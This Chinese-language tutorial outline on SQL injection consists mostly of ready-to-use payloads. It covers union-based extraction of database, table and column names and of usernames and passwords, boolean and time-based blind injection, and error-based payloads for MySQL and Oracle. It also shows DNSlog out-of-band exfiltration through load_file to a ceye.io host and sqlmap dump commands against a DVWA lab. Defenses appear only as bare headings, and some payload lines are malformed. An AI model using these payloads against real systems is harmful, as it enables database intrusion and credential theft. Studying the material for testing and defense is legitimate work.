把SQL命令插入到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令未对用户提交的参数数据进行校验或有效的过滤,直接进行SQL语句拼接,改变了原有SQL语句语义,传入数据库解析引擎中执行
数据库相关概念
基本概念
数据(DATA)
数据库(DATABASE)
数据库管理系统(DBMS)
结构化查询语言(SQL)
基本语句
增
insert into user(id,name) values("64082","lxb")
删
delete from 'user' where id=1
改
update user set name=“xb” where id=“64082”
查
select * from 'user' where id=1
order by
默认升序排序
select * from 'user' order by id
利用order by判断列数
url?id=8 order by 18 回显正常
url?id=8 order by 19 回显异常
以上说明当前表有18列
MySQL系统数据库information_schema
SCHEMATE表
查询所有列名
DESC information_schema.schemata
查询所有数据库名
select distinct schema_name from schemata
TABLES表
所有数据库名table_schema
所有表名table_name
select distinct table_name from information_schema.tables
COLUMNS表
查询所有列名
DESC information_schema.columns
查询当前数据库所有列
select distinct column_name from information_schema.columns
MySQL函数
system_user() 系统用户名
user() 用户名
current_user() 当前用户名
session_user() 连接数据库用的用户名
database() 数据库名
version() 数据库版本
load_file() 读取本地文件
@@datadir 数据库路径
@@basedir 安装路径
@@version_compile_os 操作系统
SQL注入作用
绕过登录验证
获取敏感数据
文件操作系统
注册表操作
执行系统命令
SQL注入分类
按照数据类型
数字型
id=1' 异常
id=1 and 1=1 正常
id=1 and 1=2 返回数据不同
字符型
username='test and 1=1’ 无法注入
username='test’ and '1’=‘1’ --‘ 闭合字符串才可以注入
按照注入方法
显错注入
联合注入
盲注
延时注入
手工注入的流程
测试语句
数字型
字符型
判断注入点
判断数据库类型
报错信息
脚本语言
连接符
联合注入
0.判断注入点
1.判断列数
order by 4正常
order by 5异常
列数为4
2.判断回显位
?id=-1 union select 1,2,3,4
3.爆数据库名
?id=-1 union select 1,database(),group_concat(schema_name),4 from information_schema.schemata
4.爆表名
?id=-1 union select 1,‘表名’,group_concat(table_name),4 from information_schema.tables where table_schema='test'
5.爆列名
?id=-1 union select 1,'列名',group_concat(column_name),4 from information_schema.columns where table_name='table'
6.爆内容
?id=-3 union select 1,'用户名密码',group_concat(username,0x5c,password),4 from yzsoumember
显错注入
盲注
select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))
延时注入
文件读取
文件写入
Access数据库注入
手工注入逻辑
1.判断注入点
'
"
2.判断对方查询的字段数以及回复位置
-1' order by 3;
-1' order by 4;
1' union select 1,2,3;
3.判断数据库名称以及版本号
1' union select user(),database(),version();
4.获取表名
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
1' union select 1,table_name from information_schema.tables where table_schema="user" limit 1,4
5.获取字段名
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
1' union select 1,column_name from information_schema.columns where table_name="user" limit% 1,8
6.获取内容
1' union select 1,username,password from `key` --+
1' union select 1,concat(name,pass) from user
select load_file(concat('\\\\','攻击语句',.XXX.ceye.io\\abc))
1.获取数据库名
' and load_file(concat('\\\\',(select database()),'.cmr1ua.ceye.io\\abc'))--+
2.获取数据表
' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
3.获取表中的字段名
' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_name='users' limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
4.获取表中字段下的数据
' and load_file(concat('\\\\',(select password from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
' and load_file(concat('\\\\',(select username from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
因为在load_file里面不能使用@ ~等符号所以要区分数据我们可以先用group_ws()函数分割在用hex()函数转成十六进制即可 出来了再转回去
' and load_file(concat('\\\\',(select hex(concat_ws('~',username,password)) from users limit 0,1),'.cmr1ua.ceye.io\\abc'))--+
盲注查询是不需要返回结果的,仅判断语句是否正常执行即可,所以其返回可以看到一个布尔值,正常显示为true,报错或者是其他不正常显示为False
查询语句:
SELECT userid FROM nember WHERE u_name=$name AND u_pass=$pass
注入语句
and length(database())=4 --+
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a'
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d'
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m'
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i'
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n'
某些查询不需要返回结果的,仅判断查询语句是否正确执行即可,可以使用sleep来进行时间盲注,取页面执行时间(结束时间-开始时间)来判断sleep函数是否正常执行,所以其是否正常执行可以看到一个布尔值,正常为True 报错False
查询语句
SELECT userid FROM member WHERE u_name=$name AND u_pass=$pass;
注入语句
or if(ascii(substr(database(),1,1))>0,sleep(1),1) --+
name=-1' and (select mid(u_name,1,1) from member where userid=1)='a' and(select sleep3))
name=-1' and (select mid(u_name,2,1) from member where userid=1)='d' and (select sleep(3))
name=-1' and (select mid(u_name,3,1) from member where userid=1)='m' and (select sleep(3))
name=-1' and (select mid(u_name,4,1) from member where userid=1)='i' and (select sleep(3))
name=-1' and (select mid(u_name,5,1) from member where userid=1)='n' and (select sleep(3)
二分法SQL盲注示例
mid() 截取:mid(column_name,start,length)
返回正常说明长度小于10
and exists(select * from admin where id=1 and len(name)< 10)
返回正常说明长度大于5
and exists(select * from admin where id=1 and len(name)> 5)
返回正常说明密码第一个字符是应用('0'='48','a'='65','A‘=97)
and exists (select * from admin where id=1 and mid(password,1,1)>'a')
left(a,b)从左侧截取 a 的前 b 位:left(database(),1)>‘s’ substr(a,b,c)从 b 位置开始, 截取字符串 a 的 c 长度。
ascii() 将某个字符转换为 ascii 值:ascii(substr(user),1,1))=101#
mid(a,b,c)从位置 b 开始, 截取 a 字符串的 c 位:
#floor(Mysql):
and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
#Extractvalue(Mysql):
and extractvalue(1, concat(0x5c, (select table_name from information_sc hema.tables limit 1)));
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
#Updatexml(Mysql) :
and 1=(updatexml(1,concat(0x3a,(select user())),1)) EXP: Exp(~(select * from (select user())a))
#UTL_INADDR.get_host_address(Oracle):
and 1=utl_inaddr.get_host_address((select banner() from sys.v_$version where rownum=1))
防御与绕过
危害
数据库信息泄露
网页篡改
网站挂马
数据库恶意被操作
服务器远程被控制
破坏硬盘数据
防御
过滤
预处理
绕过
关键字大小写
双写关键字
编码
注释
内敛注释
特殊符号
运算符
等价函数
缓冲区溢出
替换
获取除系统默认表外的所有数据 --dump-all --exclude-sysdbs
1.判断注入点和数据类型
sqlmap -u http://192.168.140.134/dvwa/vulnerabilities/sqli/?id=1
2.判断数据库名(--current-db可判断当前数据库名)
sqlmap -u http://192.168.140.134/dvwa/vulnerabilities/sqli/?id=1 --dbs
3.判断表名
sqlmap -u http://192.168.140.134/dvwa/vulnerabilities/sqli/?id=1 -D dvwa --tables
4.判断列名
sqlmap -u http://192.168.140.134/dvwa/vulnerabilities/sqli/?id=1 -D dvwa -T users --column
5.获取字段
sqlmap -u http://192.168.140.134/dvwa/vulnerabilities/sqli/?id=1 -D dvwa -T users -C password --dump
1.先抓包,然后保存为url.txt
2.然后再执行sqlmap -r /etc/url.txt
3.判断数据库名sqlmap -r /etc/url.txt --dbs
4.判断表名sqlmap -r /etc/url.txt -D dvwa --tables
5.判断列名sqlmap -r /etc/url.txt -D dvwa -T users --column
6.获取具体字段名:如上图中的users表的password列
sqlmap -r /etc/url.txt -D dvwa -T users -C password --dump
7.获取除系统默认表外的所有数据 sqlmap -r /etc/url.txt --dump-all --exclude-sysdbs